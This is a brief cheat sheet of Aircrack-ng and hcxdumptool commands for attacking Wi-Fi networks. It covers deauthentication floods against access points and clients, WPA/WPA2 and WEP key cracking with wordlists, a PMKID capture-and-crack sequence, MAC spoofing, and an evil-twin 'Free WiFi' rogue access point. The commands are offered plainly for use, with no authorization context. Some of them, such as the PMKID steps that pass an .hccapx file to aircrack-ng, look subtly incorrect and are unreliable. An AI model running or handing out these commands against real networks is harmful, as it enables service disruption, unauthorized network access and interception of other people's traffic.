Aircrack-ng Suite Cheat Sheet

Basic Interface Commands

airmon-ng start wlan0
airmon-ng stop wlan0mon
iwconfig
ip a
airmon-ng check

MAC Address Spoofing

macchanger -r wlan0mon
macchanger -m 00:11:22:33:44:55 wlan0mon
macchanger -p wlan0mon

Scanning Networks

airodump-ng wlan0mon
airodump-ng -c 6 wlan0mon
airodump-ng -w capture wlan0mon
airodump-ng --write-interval 1 wlan0mon
airodump-ng --bssid <BSSID> wlan0mon

Targeted Capture

airodump-ng -c 6 --bssid <BSSID> -w capture wlan0mon

Deauthentication Attack

aireplay-ng --deauth 100 -a <BSSID> wlan0mon
aireplay-ng --deauth 100 -a <BSSID> -c <CLIENT_MAC> wlan0mon
aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon

WPA/WPA2 Cracking

aircrack-ng -w rockyou.txt -b <BSSID> capture.cap
aircrack-ng -a2 -b <BSSID> -w <wordlist> <capture_file>
aircrack-ng -w <custom_wordlist> -b <BSSID> capture.cap

PMKID Attack (Optional)

hcxdumptool -i wlan0mon -o dump.pcapng --enable_status=1
hcxpcapngtool -o hash.hccapx dump.pcapng
aircrack-ng hash.hccapx -w wordlist.txt

WEP Cracking

aireplay-ng -3 -b <BSSID> -h <Your_MAC> wlan0mon
aircrack-ng capture.cap
aireplay-ng -1 0 -a <BSSID> -h <Your_MAC> wlan0mon

Rogue AP / Evil Twin

airbase-ng -e "Free WiFi" -c 6 wlan0mon
dnsmasq --interface=wlan0mon --dhcp-range=192.168.1.50,192.168.1.150,12h
airbase-ng -e "Free WiFi" -c 6 --bssid <BSSID> wlan0mon

Miscellaneous

airmon-ng check kill
service NetworkManager restart
cap2hccapx
aircrack-ng --help

Common File Types

.cap     Packet capture
.hccapx  WPA handshake for Hashcat
.pcapng   Extended PCAP format

Wordlist Resources

rockyou.txt
crunch
cewl
john